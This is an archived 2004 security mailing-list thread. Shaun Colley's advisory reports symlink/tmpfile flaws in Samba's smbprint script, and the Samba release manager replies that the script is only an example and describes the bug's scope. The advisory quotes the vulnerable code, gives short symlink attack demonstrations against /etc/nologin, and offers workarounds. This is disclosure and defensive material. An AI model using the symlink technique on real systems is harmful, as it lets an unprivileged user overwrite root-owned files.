PDA

Bekijk Volledige Versie : Samba 'smbprint' script tmpfile vulnerability.



=?iso-8859-1?q?Shaun=20Colley?=
19/03/04, 23:25
~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~* ~*~*~*

Product: Samba 'smbprint' script.
http://www.samba.org

Versions: All versions, but manifesting in
different ways.
Bug: Symlink bug / tmpfile bug.
Impact: Attacker's can write to arbitrary files,
and in theory, elevate privileges

(unlikely)
Risk: LOW
Date: March 19, 2004
Author: Shaun Colley
Email: shaunige@yahoo.co.uk
WWW: http://www.nettwerked.co.uk

~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~* ~*~*~*



Introduction
#############

Included with the immensely popular Samba Package,
there is a small script called 'smbprint', which is
quite widely used (from what discussions I read on the
mailing list) to print documents over shares. There
are many versions of the script floating about - older
versions of the script are more vulnerable than the
smbprint script included with the latest release of
Samba (3.0.2a).

I have located a bug in older versions of the smbprint
script, and also a less likely one in the new version
(packaged with 3.0.2a and maybe earlier). These
vulnerabilities can allow an attacker to overwrite
sensitive system files, and in theory (though very
unlikely) elevate privilges. These bugs are due to
insecure tmpfile creation.


***NOTE: Although I refer to the less new smbprint
script as "older script", it is included in Mandrake
9.0, so it's not entirely "old" by any means. By "new
script", I mean the one posted by Alfred Perlstein,
which is packaged in the latest Samba packages.***



Details
########

1) Older versions of smbprint - tmpfile vulnerability.
--

In older versions of smbprint (there are many versions
floating around), tmpfiles, used for debugging, are
created in an insecure manner. For the purpose of
debugging, useful debugging information (output from
commands, server used, etc) is written to a hard-coded
logfile, /tmp/smb-print.log. The bug manifests in the
following code:

--- /usr/bin/smbprint ---
[...]
logfile=/tmp/smb-print.log

[...]
# VULNERABLE CODE! No file checks
# on /tmp/smb-print.log for possible
# malicious symlink.
echo "server $server, service $service" >> $logfile

[...]

# Another insecure file write.
/usr/bin/smbclient "//$server/$service" $password -U
$server -N -P >> $logfile
--- EOF

No file checks are performed before writing to
/tmp/smb-print.log, so symlinks *are* followed. If
root is running the smbprint script, arbitrary files
may be corrupted/appended, such as system files, i.e
/etc/nologin. It is often the root user who invokes
the script, so an attacker can potentially corrupt any
file she wishes.


2) Newest version of smbprint - tmpfile vulnerability
--

In the newer versions of smbprint (which I believe was
put together in part by Alfred Perlstein), a similar
tmpfile vulnerability exists, however, it is
exploitable in fewer cases.

smbprint uses a printer config file,
/usr/var/spool/lpd/<PRINTNAME>/.config, to correctly
carry out a print job. If, however, a user has
specified to use debugging (in the .config file), a
tmpfile (again, due to creation of a debugging log)
vulnerability exists. Here is a sample config file on
a system which is vulnerable:

--- .config ---
user="username"
server=server
service=printer
password=""
debug=yes
--- EOF ---

As can be seen, debugging is enabled to setting the
debug option.

In the smbprint script, the vulnerability manifests in
the following offending code:

---
debugfile="/tmp/smb-print.log"
if [ "x$debug" = "x" ] ; then
debugfile=/dev/null debugargs=
else
if [ $debug -eq 0 ] ; then
debugfile=/dev/null debugargs=
else
# VULNERABLE CODE! No file checks
# on /tmp/smb-print.log for possible
# malicious symlink.
set -x; exec >>$debugfile 2>&1
debugargs="$debugfile."
#[ "x$debugsmb" == "x" ] ||
debugargs="$debugargs -d $debugsmb"
fi
fi
---

The above code parses the host system's .config file
for the "debug" option. If it is enabled, any program
output is redirected to '/tmp/smb-print.log', via the
BASH 'exec' command. However, no file checks are
performed, so again, symlinks *are* followed. If an
attacker were to create a symlink called smb-print.log
in /tmp to a sensitive system file, assuming the debug
option was set in the .config file, the system file
would be written to if a superuser invoked smbprint.



Exploitation
#############


1) Older versions of smbprint - tmpfile vulnerability.
--

Below is a sample attack scenario I carried out on my
test system.


--- attack ---
k1d$ ls -al /etc/nologin
ls: /etc/nologin: No such file or directory
k1d$ ln -s /etc/nologin /tmp/smb-print.log

[...]

root# /usr/bin/smbprint [...]

[...]

k1d$ ls -al /etc/nologin
-rw-r--r-- 1 root root 0 Mar 19
18:11 /etc/nologin
---

Exploitation, as evident above, is relatively simple.
Since no checks on /tmp/smb-print.log are performed
for existance of a possible symlink, all that an
attacker needs to do is create a symlink named
/tmp/smb-print.log to a desired arbitrary file
writable by the invoker of smbprint, and simply wait
for smbprint to be invoked.



2) Newest version of smbprint - tmpfile vulnerability
--

Assuming the conditions are met specified in the
technical details section (i.e debugging is specified
in the .config file, etc), exploitation of the
insecure tmpfile creation is possible. Below is an
example attack scenario, in which an attacker was able
to cause a sensitive system file to be created.

--- attack ---
k1d$ cat /usr/var/spool/lpd/default/.config
user="username"
server=server
service=printer
password=""
debug=yes

# machine seems to be vulnerable.
k1d$ ln -s /etc/nologin /tmp/smb-print.tmp

[...]

root# /usr/bin/smbprint [...]

[...]

k1d$ ls -al /etc/nologin
-rw-r--r-- 1 root root 0 Mar 19
18:11 /etc/nologin
---

As a tmpfile is only written when debugging is enabled
(the logfile is written with useful debug
information), the attacker in the above attack
condition checked for the existance of the "debug="
line in the 'smbprint' configuration file (.config).
The attack suceeded, due to the ease of exploitation.



Solution
#########

I've tried to provide workarounds. Maybe bug 2) will
be fixed in the next stable release of Samba.


1) Older versions of smbprint - tmpfile vulnerability.
--

The tmpfile vulnerability can be prevented by
performing a check for the existance of /tmp/smb-print
before any file writes are done.

The following line can be added before any writes to
$logfile:

---
if [ -h $logfile ] then # could be -e instead.
$logfile="/dev/null"
fi
---

This will check for a /tmp/smb-print.log being already
a symbolic link. More care could be taken, such as
checking just for any existance of /tmp/smb-print.log.
The logfile will be /dev/null, if /tmp/smb-print.log
is a symbolic link, thus preventing the issue.

A better solution would be to upgrade to the latest
version of Samba.


2) Newest version of smbprint - tmpfile vulnerability
--

Simple workaround is just to disable debugging in the
smbprint config file. Remove any line beginning with
"debug=" in your system's
/usr/var/spool/lpd/<PRINTER_NAME>/.config file. This
should eliminate the symlink/tmpfile vulnerability.



Credit
#######

Vulnerabilities discovered and researched by Shaun
Colley / shaun2k2 - <shaunige@yahoo.co.uk>.





Thank you for your time.
Shaun.





__________________________________________________ _________
Yahoo! Messenger - Communicate instantly..."Ping"
your friends today! Download Messenger Now
http://uk.messenger.yahoo.com/download/index.html

Gerald
20/03/04, 19:15
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

For the record, Shaun Colley first email <security@samba.org>
on "Thu, 18 Mar 2004 20:21:48 +0000 (GMT)". The set of core
Samba developers were given no prior notice that the potential
bug would be published on BUGtraq. Nor we were notified when
the announcement was sent.

Samba developers were in the process of completing their analysis
when this occurred.

Now onto the response....


> Product: Samba 'smbprint' script.
> http://www.samba.org
>
> Versions: All versions, but manifesting in
> different ways.

Please be aware that Shaun's report applies to the
smbprint-new.sh script included in the examples/ directory
of the Samba 3.0.2a distribution. No other version of
smbprint included in the packaging/ directory possess
this flaw.

The Samba Team has no control over what individual package
maintainers or distributors include in their packages. As
Shaun has pointed out the version of samba packaged by with
Mandrake 9.0 may be vulnerable to such a symlink attack as
described here. This fact has not been confirmed by Samba
developers.

> Bug: Symlink bug / tmpfile bug.
....
> I have located a bug in older versions of the smbprint
> script, and also a less likely one in the new version
> (packaged with 3.0.2a and maybe earlier). These

My comments apply to both the Samba 2.2.8a release
as well as the current 3.0.x series.

The script in question is included in the current 3.0.2a
release in samba-3.0.2a/examples/printing/smbprint-new.sh.
Source code, utilities, and documentation included in the
examples/ portion of the Samba source tree are contributed
by the Samba community as possibilities of how a given task
may be achieved.

They are *examples* only and not to be considered part of
the core Samba client or server product.

Therefore, while the possibility of the symlink attack that
Shaun describes is real, it should be stressed that

(a) smbprint-new.sh is an example script only. Users
or administrators may do whatever they see fit.
(b) the default behavior of the script is to log debug
output to /dev/null and is therefore not vulnerable
to the symlink attack.
(c) the administrator must have enabled the debug option
in the matching .config file as well not overriding
the default debugfile setting.


> Details
> ########
>
> 1) Older versions of smbprint - tmpfile vulnerability.
> --

Without know which specific packages or versions that
to which Shaun is referring, it is impossible to address
this statement. See the above statement regarding
the 2.2.8a release and the 3.0.x series.

> --- /usr/bin/smbprint ---
> [...]
> logfile=/tmp/smb-print.log

This is not the default option in the versions of the
smbprint script that I have been able to locate. The line
in question has been commented out in the version of
smbprint that are included in the packaging/ directory
of the Samba source tree.

> 2) Newest version of smbprint - tmpfile vulnerability
> ....Here is a sample config file on
> a system which is vulnerable:
>
> --- .config ---
> user="username"
> server=server
> service=printer
> password=""
> debug=yes
> --- EOF ---

This is the smbprint-new.sh script contained in examples/printing/.
The debug option is not required, and as stated previously,
not enabled by default.

> Solution
> #########
>
> I've tried to provide workarounds. Maybe bug 2) will
> be fixed in the next stable release of Samba.

In summary, the Samba Team is labeling this as a bug and not
a security hole due to the fact that it is only an example. We
will however, ensure that the bug is fixed before the next
official release (i.e. Samba 3.0.3).







cheers, jerry
Samba Release Manager
- ----------------------------------------------------------------------
Hewlett-Packard ------------------------- http://www.hp.com
SAMBA Team ---------------------- http://www.samba.org
GnuPG Key ---- http://www.plainjoe.org/gpg_public.asc
"If we're adding to the noise, turn off this song" --Switchfoot (2003)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAW+CEIR7qMdg1EfYRAr+KAJ9v7vXV2DQh0IZgl3EsRH 6/XAMu+wCg0aXe
WtdPvh+A98loLYSAAkTZ254=
=hTfA
-----END PGP SIGNATURE-----